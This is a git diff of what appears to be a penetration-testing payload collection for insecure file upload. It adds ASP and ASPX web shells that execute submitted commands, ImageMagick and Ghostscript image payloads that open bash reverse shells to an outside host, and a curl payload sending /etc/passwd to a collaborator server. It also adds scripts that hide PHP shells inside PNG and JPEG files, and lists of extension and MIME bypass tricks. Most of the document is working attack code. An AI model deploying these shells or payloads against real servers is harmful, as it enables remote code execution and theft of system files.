+ + \ No newline at end of file diff --git a/Upload Insecure Files/Extension ASP/shell.asp b/Upload Insecure Files/Extension ASP/shell.asp new file mode 100644 index 0000000000..b2caf599f2 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.asp @@ -0,0 +1,83 @@ +<% +' ******************************************************************************* +' *** +' *** Laudanum Project +' *** A Collection of Injectable Files used during a Penetration Test +' *** +' *** More information is available at: +' *** http://laudanum.secureideas.net +' *** laudanum@secureideas.net +' *** +' *** Project Leads: +' *** Kevin Johnson +' *** +' *** Copyright 2012 by Kevin Johnson and the Laudanum Team +' *** +' ******************************************************************************** +' *** +' *** Updated and fixed by Robin Wood +' *** Updated and fixed by Tim Medin "1.2.3.4" then + response.Status="404 Page Not Found" + response.Write(response.Status) + response.End +end if + +if Request.Form("submit") <> "" then + Dim wshell, intReturn, strPResult + cmd = Request.Form("cmd") + Response.Write ("Running command: " & cmd & "
") + set wshell = CreateObject("WScript.Shell") + Set objCmd = wShell.Exec(cmd) + strPResult = objCmd.StdOut.Readall() + + response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
" + + set wshell = nothing +end if + +%> + +Laundanum ASP Shell + +
+Command:
+ +

Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done. +

Example command to do a directory listing:
+%ComSpec% /c dir +

+
+
+Copyright © 2012, Kevin Johnson and the Laudanum team.
+Written by Tim Medin.
+Get the latest version at laudanum.secureideas.net. +
+ + \ No newline at end of file diff --git a/Upload Insecure Files/Extension ASP/shell.aspx b/Upload Insecure Files/Extension ASP/shell.aspx new file mode 100644 index 0000000000..5de53adb36 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.aspx @@ -0,0 +1,129 @@ +<%@ Page Language="C#"%> +<%@ Import Namespace="System" %> + + + +Laundanum ASPX Shell + + +
+cmd /c +
+STDOUT:
+
<% = stdout.Replace("<", "<") %>
+
+
+
+STDERR:
+
<% = stderr.Replace("<", "<") %>
+ + +
+ +
+
+ Copyright © 2012, Kevin Johnson and the Laudanum team.
+ Written by Tim Medin.
+ Get the latest version at laudanum.secureideas.net. +
+ + + \ No newline at end of file diff --git a/Upload Insecure Files/Extension ASP/shell.cer b/Upload Insecure Files/Extension ASP/shell.cer new file mode 100644 index 0000000000..b2caf599f2 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.cer @@ -0,0 +1,83 @@ +<% +' ******************************************************************************* +' *** +' *** Laudanum Project +' *** A Collection of Injectable Files used during a Penetration Test +' *** +' *** More information is available at: +' *** http://laudanum.secureideas.net +' *** laudanum@secureideas.net +' *** +' *** Project Leads: +' *** Kevin Johnson +' *** +' *** Copyright 2012 by Kevin Johnson and the Laudanum Team +' *** +' ******************************************************************************** +' *** +' *** Updated and fixed by Robin Wood +' *** Updated and fixed by Tim Medin "1.2.3.4" then + response.Status="404 Page Not Found" + response.Write(response.Status) + response.End +end if + +if Request.Form("submit") <> "" then + Dim wshell, intReturn, strPResult + cmd = Request.Form("cmd") + Response.Write ("Running command: " & cmd & "
") + set wshell = CreateObject("WScript.Shell") + Set objCmd = wShell.Exec(cmd) + strPResult = objCmd.StdOut.Readall() + + response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
" + + set wshell = nothing +end if + +%> + +Laundanum ASP Shell + +
+Command:
+ +

Don't forget that if you want to shell command (not a specific executable) you need to call cmd.exe. It is usually located at C:\Windows\System32\cmd.exe, but to be safe just call %ComSpec%. Also, don't forget to use the /c switch so cmd.exe terminates when your command is done. +

Example command to do a directory listing:
+%ComSpec% /c dir +

+
+
+Copyright © 2012, Kevin Johnson and the Laudanum team.
+Written by Tim Medin.
+Get the latest version at laudanum.secureideas.net. +
+ + \ No newline at end of file diff --git a/Upload Insecure Files/Extension ASP/shell.xamlx b/Upload Insecure Files/Extension ASP/shell.xamlx new file mode 100644 index 0000000000..ab0da0faf9 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.xamlx @@ -0,0 +1,16 @@ + + + + + + + + + + [System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()] + + + + + + \ No newline at end of file diff --git a/Upload Insecure Files/Extension Flash/README.md b/Upload Insecure Files/Extension Flash/README.md new file mode 100644 index 0000000000..bd5e8b5e52 --- /dev/null +++ b/Upload Insecure Files/Extension Flash/README.md @@ -0,0 +1,12 @@ +### XSS via SWF + +As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs. +This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either. + +```powershell +Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); + +IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} + +IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); +``` \ No newline at end of file diff --git a/Upload insecure files/Insecure Flash/xss.swf b/Upload Insecure Files/Extension Flash/xss.swf similarity index 100% rename from Upload insecure files/Insecure Flash/xss.swf rename to Upload Insecure Files/Extension Flash/xss.swf diff --git a/Upload insecure files/Insecure Flash/xssproject.swf b/Upload Insecure Files/Extension Flash/xssproject.swf similarity index 100% rename from Upload insecure files/Insecure Flash/xssproject.swf rename to Upload Insecure Files/Extension Flash/xssproject.swf diff --git a/Upload Insecure Files/Extension HTML/xss.html b/Upload Insecure Files/Extension HTML/xss.html new file mode 100644 index 0000000000..48d8f2210f --- /dev/null +++ b/Upload Insecure Files/Extension HTML/xss.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Upload insecure files/PDF JS/poc.js b/Upload Insecure Files/Extension PDF JS/poc.js similarity index 100% rename from Upload insecure files/PDF JS/poc.js rename to Upload Insecure Files/Extension PDF JS/poc.js diff --git a/Upload insecure files/PDF JS/poc.py b/Upload Insecure Files/Extension PDF JS/poc.py similarity index 100% rename from Upload insecure files/PDF JS/poc.py rename to Upload Insecure Files/Extension PDF JS/poc.py diff --git a/Upload insecure files/PDF JS/result.pdf b/Upload Insecure Files/Extension PDF JS/result.pdf similarity index 100% rename from Upload insecure files/PDF JS/result.pdf rename to Upload Insecure Files/Extension PDF JS/result.pdf diff --git a/Upload Insecure Files/Extension PHP/extensions.lst b/Upload Insecure Files/Extension PHP/extensions.lst new file mode 100644 index 0000000000..b3481610dd --- /dev/null +++ b/Upload Insecure Files/Extension PHP/extensions.lst @@ -0,0 +1,20 @@ +.jpeg.php +.jpg.php +.png.php +.php +.php3 +.php4 +.php5 +.php7 +.pht +.phar +.phpt +.pgif +.phtml +.phtm +.php%00.gif +.php\x00.gif +.php%00.png +.php\x00.png +.php%00.jpg +.php\x00.jpg \ No newline at end of file diff --git a/Upload insecure files/PHP Extension/phpinfo.jpg.php b/Upload Insecure Files/Extension PHP/phpinfo.jpg.php similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.jpg.php rename to Upload Insecure Files/Extension PHP/phpinfo.jpg.php diff --git a/Upload insecure files/PHP Extension/phpinfo.phar b/Upload Insecure Files/Extension PHP/phpinfo.phar similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.phar rename to Upload Insecure Files/Extension PHP/phpinfo.phar diff --git a/Upload insecure files/PHP Extension/phpinfo.php b/Upload Insecure Files/Extension PHP/phpinfo.php similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.php rename to Upload Insecure Files/Extension PHP/phpinfo.php diff --git a/Upload insecure files/PHP Extension/phpinfo.php3 b/Upload Insecure Files/Extension PHP/phpinfo.php3 similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.php3 rename to Upload Insecure Files/Extension PHP/phpinfo.php3 diff --git a/Upload insecure files/PHP Extension/phpinfo.php4 b/Upload Insecure Files/Extension PHP/phpinfo.php4 similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.php4 rename to Upload Insecure Files/Extension PHP/phpinfo.php4 diff --git a/Upload insecure files/PHP Extension/phpinfo.php5 b/Upload Insecure Files/Extension PHP/phpinfo.php5 similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.php5 rename to Upload Insecure Files/Extension PHP/phpinfo.php5 diff --git a/Upload insecure files/PHP Extension/phpinfo.php7 b/Upload Insecure Files/Extension PHP/phpinfo.php7 similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.php7 rename to Upload Insecure Files/Extension PHP/phpinfo.php7 diff --git a/Upload insecure files/PHP Extension/phpinfo.phpt b/Upload Insecure Files/Extension PHP/phpinfo.phpt similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.phpt rename to Upload Insecure Files/Extension PHP/phpinfo.phpt diff --git a/Upload insecure files/PHP Extension/phpinfo.pht b/Upload Insecure Files/Extension PHP/phpinfo.pht similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.pht rename to Upload Insecure Files/Extension PHP/phpinfo.pht diff --git a/Upload insecure files/PHP Extension/phpinfo.phtml b/Upload Insecure Files/Extension PHP/phpinfo.phtml similarity index 100% rename from Upload insecure files/PHP Extension/phpinfo.phtml rename to Upload Insecure Files/Extension PHP/phpinfo.phtml diff --git a/Upload Insecure Files/Extension PHP/shell.gif?shell.php b/Upload Insecure Files/Extension PHP/shell.gif?shell.php new file mode 100644 index 0000000000..b1c546e554 --- /dev/null +++ b/Upload Insecure Files/Extension PHP/shell.gif?shell.php @@ -0,0 +1 @@ + diff --git a/Upload insecure files/PHP Extension/shell.jpeg.php b/Upload Insecure Files/Extension PHP/shell.jpeg.php old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.jpeg.php rename to Upload Insecure Files/Extension PHP/shell.jpeg.php diff --git a/Upload insecure files/PHP Extension/shell.jpg.php b/Upload Insecure Files/Extension PHP/shell.jpg.php similarity index 100% rename from Upload insecure files/PHP Extension/shell.jpg.php rename to Upload Insecure Files/Extension PHP/shell.jpg.php diff --git a/Upload Insecure Files/Extension PHP/shell.jpg?shell.php b/Upload Insecure Files/Extension PHP/shell.jpg?shell.php new file mode 100644 index 0000000000..b1c546e554 --- /dev/null +++ b/Upload Insecure Files/Extension PHP/shell.jpg?shell.php @@ -0,0 +1 @@ + diff --git a/Upload insecure files/PHP Extension/shell.pgif b/Upload Insecure Files/Extension PHP/shell.pgif old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.pgif rename to Upload Insecure Files/Extension PHP/shell.pgif diff --git a/Upload insecure files/PHP Extension/shell.phar b/Upload Insecure Files/Extension PHP/shell.phar similarity index 100% rename from Upload insecure files/PHP Extension/shell.phar rename to Upload Insecure Files/Extension PHP/shell.phar diff --git a/Upload insecure files/PHP Extension/shell.php3 b/Upload Insecure Files/Extension PHP/shell.php old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.php3 rename to Upload Insecure Files/Extension PHP/shell.php diff --git a/Upload insecure files/PHP Extension/shell.php4 b/Upload Insecure Files/Extension PHP/shell.php3 old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.php4 rename to Upload Insecure Files/Extension PHP/shell.php3 diff --git a/Upload insecure files/PHP Extension/shell.php5 b/Upload Insecure Files/Extension PHP/shell.php4 old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.php5 rename to Upload Insecure Files/Extension PHP/shell.php4 diff --git a/Upload insecure files/PHP Extension/shell.php7 b/Upload Insecure Files/Extension PHP/shell.php5 old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.php7 rename to Upload Insecure Files/Extension PHP/shell.php5 diff --git a/Upload insecure files/PHP Extension/shell.phpt b/Upload Insecure Files/Extension PHP/shell.php7 old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.phpt rename to Upload Insecure Files/Extension PHP/shell.php7 diff --git a/Upload insecure files/PHP Extension/shell.pht b/Upload Insecure Files/Extension PHP/shell.phpt old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.pht rename to Upload Insecure Files/Extension PHP/shell.phpt diff --git a/Upload insecure files/PHP Extension/shell.phtml b/Upload Insecure Files/Extension PHP/shell.pht old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.phtml rename to Upload Insecure Files/Extension PHP/shell.pht diff --git a/Upload insecure files/PHP Extension/shell.png.php b/Upload Insecure Files/Extension PHP/shell.phtml old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.png.php rename to Upload Insecure Files/Extension PHP/shell.phtml diff --git a/Upload insecure files/PHP Extension/shell.shtml b/Upload Insecure Files/Extension PHP/shell.png.php old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PHP Extension/shell.shtml rename to Upload Insecure Files/Extension PHP/shell.png.php diff --git a/Upload Insecure Files/Extension PHP/shell.png?shell.php b/Upload Insecure Files/Extension PHP/shell.png?shell.php new file mode 100644 index 0000000000..b1c546e554 --- /dev/null +++ b/Upload Insecure Files/Extension PHP/shell.png?shell.php @@ -0,0 +1 @@ + diff --git a/Upload insecure files/Image Tragik 2/README.md b/Upload Insecure Files/Picture Image Magik/README.md similarity index 58% rename from Upload insecure files/Image Tragik 2/README.md rename to Upload Insecure Files/Picture Image Magik/README.md index 206fcf9795..98e51af292 100644 --- a/Upload insecure files/Image Tragik 2/README.md +++ b/Upload Insecure Files/Picture Image Magik/README.md @@ -1,6 +1,22 @@ -# Image Tragik 2 +# Image Tragik 1 & 2 -## Exploit + +## Exploit v1 + +Simple reverse shell + +```powershell +push graphic-context +encoding "UTF-8" +viewbox 0 0 1 1 +affine 1 0 0 1 0 0 +push graphic-context +image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1' +pop graphic-context +pop graphic-context +``` + +## Exploit v2 Simple `id` payload diff --git a/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_cmd_exec.pdf b/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_cmd_exec.pdf new file mode 100644 index 0000000000..24669b5159 Binary files /dev/null and b/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_cmd_exec.pdf differ diff --git a/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_reverse_shell.jpg b/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_reverse_shell.jpg new file mode 100644 index 0000000000..3166619829 --- /dev/null +++ b/Upload Insecure Files/Picture Image Magik/imagemagik_ghostscript_reverse_shell.jpg @@ -0,0 +1,6 @@ +%!PS +userdict /setpagedevice undef +legal +{ null restore } stopped { pop } if +legal +mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1') currentdevice putdeviceprops \ No newline at end of file diff --git a/Upload insecure files/Image Tragik/payload_imageover_file_exfiltration_pangu_wrapper.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg similarity index 100% rename from Upload insecure files/Image Tragik/payload_imageover_file_exfiltration_pangu_wrapper.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_file_exfiltration_pangu_wrapper.jpg diff --git a/Upload insecure files/Image Tragik/payload_imageover_file_exfiltration_text_wrapper.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg similarity index 100% rename from Upload insecure files/Image Tragik/payload_imageover_file_exfiltration_text_wrapper.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_file_exfiltration_text_wrapper.jpg diff --git a/Upload insecure files/Image Tragik/payload_imageover_reverse_shell_devtcp.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_reverse_shell_devtcp.jpg similarity index 100% rename from Upload insecure files/Image Tragik/payload_imageover_reverse_shell_devtcp.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_reverse_shell_devtcp.jpg diff --git a/Upload insecure files/Image Tragik/payload_imageover_reverse_shell_netcat_fifo.png b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png similarity index 100% rename from Upload insecure files/Image Tragik/payload_imageover_reverse_shell_netcat_fifo.png rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_reverse_shell_netcat_fifo.png diff --git a/Upload insecure files/Image Tragik/payload_imageover_wget.gif b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_wget.gif old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Image Tragik/payload_imageover_wget.gif rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_imageover_wget.gif diff --git a/Upload insecure files/Image Tragik/payload_url_bind_shell_nc.mvg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_bind_shell_nc.mvg similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_bind_shell_nc.mvg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_bind_shell_nc.mvg diff --git a/Upload insecure files/Image Tragik/payload_url_curl.png b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_curl.png old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_curl.png rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_curl.png diff --git a/Upload insecure files/Image Tragik/payload_url_portscan.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_portscan.jpg old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_portscan.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_portscan.jpg diff --git a/Upload insecure files/Image Tragik/payload_url_remote_connection.mvg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_remote_connection.mvg similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_remote_connection.mvg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_remote_connection.mvg diff --git a/Upload insecure files/Image Tragik/payload_url_reverse_shell_bash.mvg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_reverse_shell_bash.mvg similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_reverse_shell_bash.mvg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_reverse_shell_bash.mvg diff --git a/Upload insecure files/Image Tragik/payload_url_touch.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_touch.jpg old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Image Tragik/payload_url_touch.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_url_touch.jpg diff --git a/Upload insecure files/Image Tragik/payload_xml_reverse_shell_nctraditional.xml b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_xml_reverse_shell_nctraditional.xml old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Image Tragik/payload_xml_reverse_shell_nctraditional.xml rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_xml_reverse_shell_nctraditional.xml diff --git a/Upload insecure files/Image Tragik/payload_xml_reverse_shell_netcat_encoded.xml b/Upload Insecure Files/Picture Image Magik/imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml similarity index 100% rename from Upload insecure files/Image Tragik/payload_xml_reverse_shell_netcat_encoded.xml rename to Upload Insecure Files/Picture Image Magik/imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml diff --git a/Upload Insecure Files/Picture Image Magik/imagetragik2_burpcollaborator_passwd.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik2_burpcollaborator_passwd.jpg new file mode 100644 index 0000000000..358edb6cb6 --- /dev/null +++ b/Upload Insecure Files/Picture Image Magik/imagetragik2_burpcollaborator_passwd.jpg @@ -0,0 +1 @@ +push graphic-context viewbox 0 0 200 200 fill 'url(https://example.123 "|curl -d "@/etc/passwd" -X POST https://xxx.burpcollaborator.net/test1 ")' pop graphic-context \ No newline at end of file diff --git a/Upload insecure files/Image Tragik 2/centos_id.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik2_centos_id.jpg similarity index 100% rename from Upload insecure files/Image Tragik 2/centos_id.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik2_centos_id.jpg diff --git a/Upload insecure files/Image Tragik 2/ubuntu_id.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_id.jpg similarity index 100% rename from Upload insecure files/Image Tragik 2/ubuntu_id.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_id.jpg diff --git a/Upload insecure files/Image Tragik 2/ubuntu_shell.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_shell.jpg similarity index 100% rename from Upload insecure files/Image Tragik 2/ubuntu_shell.jpg rename to Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_shell.jpg diff --git a/Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_shell2.jpg b/Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_shell2.jpg new file mode 100644 index 0000000000..c9fa3581ed --- /dev/null +++ b/Upload Insecure Files/Picture Image Magik/imagetragik2_ubuntu_shell2.jpg @@ -0,0 +1,6 @@ +%!PS +userdict /setpagedevice undef +legal +{ null restore } stopped { pop } if +legal +mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1') currentdevice putdeviceprops \ No newline at end of file diff --git a/Upload insecure files/Metadata PNG/Build_image_to_LFI.py b/Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py old mode 100755 new mode 100644 similarity index 81% rename from Upload insecure files/Metadata PNG/Build_image_to_LFI.py rename to Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py index 2bef83fbca..bffc312688 --- a/Upload insecure files/Metadata PNG/Build_image_to_LFI.py +++ b/Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py @@ -1,3 +1,4 @@ +from __future__ import print_function from PIL import Image # Shellcodes - Bypass included : Keyword Recognition : System, GET, php @@ -9,10 +10,10 @@ shellcode2 = ";').($_^'/');?>" -print "\n[+] Advanced Upload - Shell inside metadatas of a PNG file" +print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file") # Create a backdoored PNG -print " - Creating a payload.png" +print(" - Creating a payload.png") im = Image.new("RGB", (10,10), "Black") im.info["shell"] = shellcode reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect') @@ -22,9 +23,9 @@ meta = PngImagePlugin.PngInfo() # copy metadata into new object -for k,v in im.info.iteritems(): +for k,v in im.info.items(): if k in reserved: continue meta.add_text(k, v, 0) im.save("payload.png", "PNG", pnginfo=meta) -print "Done" \ No newline at end of file +print("Done") \ No newline at end of file diff --git a/Upload insecure files/Metadata PNG/phpinfo-metadata.jpg b/Upload Insecure Files/Picture Metadata/PHP_exif_phpinfo.jpg similarity index 100% rename from Upload insecure files/Metadata PNG/phpinfo-metadata.jpg rename to Upload Insecure Files/Picture Metadata/PHP_exif_phpinfo.jpg diff --git a/Upload insecure files/Metadata GIF/shell_cinema.gif b/Upload Insecure Files/Picture Metadata/PHP_exif_system.gif old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Metadata GIF/shell_cinema.gif rename to Upload Insecure Files/Picture Metadata/PHP_exif_system.gif diff --git a/Upload Insecure Files/Picture Metadata/PHP_exif_system.jpg b/Upload Insecure Files/Picture Metadata/PHP_exif_system.jpg new file mode 100644 index 0000000000..385af5afbb Binary files /dev/null and b/Upload Insecure Files/Picture Metadata/PHP_exif_system.jpg differ diff --git a/Upload insecure files/Metadata PNG/php_exif_data.png b/Upload Insecure Files/Picture Metadata/PHP_exif_system.png old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/Metadata PNG/php_exif_data.png rename to Upload Insecure Files/Picture Metadata/PHP_exif_system.png diff --git a/Upload insecure files/Metadata GIF/phpinfo-metadata.gif b/Upload Insecure Files/Picture Resize/GIF_exploit.gif similarity index 100% rename from Upload insecure files/Metadata GIF/phpinfo-metadata.gif rename to Upload Insecure Files/Picture Resize/GIF_exploit.gif diff --git a/Upload insecure files/JPG Resize/exploit-55.jpg b/Upload Insecure Files/Picture Resize/JPG_exploit-55.jpg old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/JPG Resize/exploit-55.jpg rename to Upload Insecure Files/Picture Resize/JPG_exploit-55.jpg diff --git a/Upload insecure files/PNG Resize/110x110_resize_bypass_use_LFI.png b/Upload Insecure Files/Picture Resize/PNG_110x110_resize_bypass_use_LFI.png old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PNG Resize/110x110_resize_bypass_use_LFI.png rename to Upload Insecure Files/Picture Resize/PNG_110x110_resize_bypass_use_LFI.png diff --git a/Upload insecure files/PNG Resize/32x32_resize_bypass_use_LFI.png b/Upload Insecure Files/Picture Resize/PNG_32x32_resize_bypass_use_LFI.png old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/PNG Resize/32x32_resize_bypass_use_LFI.png rename to Upload Insecure Files/Picture Resize/PNG_32x32_resize_bypass_use_LFI.png diff --git a/Upload insecure files/JPG Resize/README.txt b/Upload Insecure Files/Picture Resize/README.txt old mode 100755 new mode 100644 similarity index 100% rename from Upload insecure files/JPG Resize/README.txt rename to Upload Insecure Files/Picture Resize/README.txt diff --git a/Upload insecure files/JPG Resize/bulletjpg.py b/Upload Insecure Files/Picture Resize/exploit_JPG.py old mode 100755 new mode 100644 similarity index 85% rename from Upload insecure files/JPG Resize/bulletjpg.py rename to Upload Insecure Files/Picture Resize/exploit_JPG.py index 77951db379..14b8a09423 --- a/Upload insecure files/JPG Resize/bulletjpg.py +++ b/Upload Insecure Files/Picture Resize/exploit_JPG.py @@ -20,10 +20,14 @@ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. """ +from __future__ import print_function +from future import standard_library +standard_library.install_aliases() +from builtins import range import struct,sys,os import gd -from StringIO import StringIO +from io import StringIO from random import randint,shuffle from time import time @@ -51,22 +55,22 @@ def insertPayload(_in, _out, payload,off): if __name__=='__main__': - print "[+] Virtualabs' Nasty bulletproof Jpeg generator" - print " | website: http://virtualabs.fr" - print " | contact: virtualabs -at- gmail -dot- com" - print "" + print("[+] Virtualabs' Nasty bulletproof Jpeg generator") + print(" | website: http://virtualabs.fr") + print(" | contact: virtualabs -at- gmail -dot- com") + print("") payloads = ["","","",""] # make sure the exploit-jpg directory exists or create it if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'): - print "[!] Please remove the file named 'exploit-jpg' from the current directory" + print("[!] Please remove the file named 'exploit-jpg' from the current directory") elif not os.path.exists('exploit-jpg'): os.mkdir('exploit-jpg') # start generation - print '[i] Generating ...' - for q in range(50,100)+[-1]: + print('[i] Generating ...') + for q in list(range(50,100))+[-1]: # loop over every payload for p in payloads: # not done yet @@ -113,10 +117,10 @@ def insertPayload(_in, _out, payload,off): # does it contain our payload ? if p in final_raw: # Yay ! - print '[i] Jpeg quality %d ... DONE'%q + print('[i] Jpeg quality %d ... DONE'%q) done = True break - except IOError,e: + except IOError as e: pass else: break diff --git a/Upload Insecure Files/Picture Resize/exploit_PNG_110x110.php b/Upload Insecure Files/Picture Resize/exploit_PNG_110x110.php new file mode 100644 index 0000000000..95c4180288 --- /dev/null +++ b/Upload Insecure Files/Picture Resize/exploit_PNG_110x110.php @@ -0,0 +1,22 @@ + \ No newline at end of file diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md new file mode 100644 index 0000000000..6229f86928 --- /dev/null +++ b/Upload Insecure Files/README.md @@ -0,0 +1,98 @@ +# Upload + +Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. + +## Summary + +* [Tools](#tools) +* [Exploits](#exploits) + * [PHP Extension](#php-extension) + * [Other extensions](#other-extensions) + * [Upload tricks](#upload-tricks) + * [Picture upload with LFI](#picture-upload-with-lfi) + * [Configuration Files](#configuration-files) + * [CVE - Image Tragik](#cve---image-tragik) +* [References](#references) + + +## Tools +- [Fuxploider](https://github.com/almandin/fuxploider) + +## Exploits + +### PHP Extension + +```powershell +.php +.php3 +.php4 +.php5 +.php7 + +Less known extensions +.pht +.phar +.phpt +.pgif +.phtml +.phtm + +Double extensions +.jpeg.php +.jpg.php +.png.php +``` + +### Other extensions + +```powershell +asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0) +perl: .pl, .pm, .cgi, .lib +jsp : .jsp, .jspx, .jsw, .jsv, .jspf +Coldfusion: .cfm, .cfml, .cfc, .dbm +``` + +### Upload tricks + +- Null byte (works well against `pathinfo()`) + * .php%00.gif + * .php\x00.gif + * .php%00.png + * .php\x00.png + * .php%00.jpg + * .php\x00.jpg +- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` + * `Content-Type : image/gif` + * `Content-Type : image/png` + * `Content-Type : image/jpeg` + +### Picture upload with LFI + +Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. + +- Picture Metadata, hide the payload inside a comment tag in the metadata. +- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. + +### Configuration Files + +- .htaccess +- web.config +- httpd.conf +- \_\_init\_\_.py + + +### CVE - Image Tragik + +```powershell +HTTP Request +Reverse Shell +Touch command +``` + +## References + +* Bulletproof 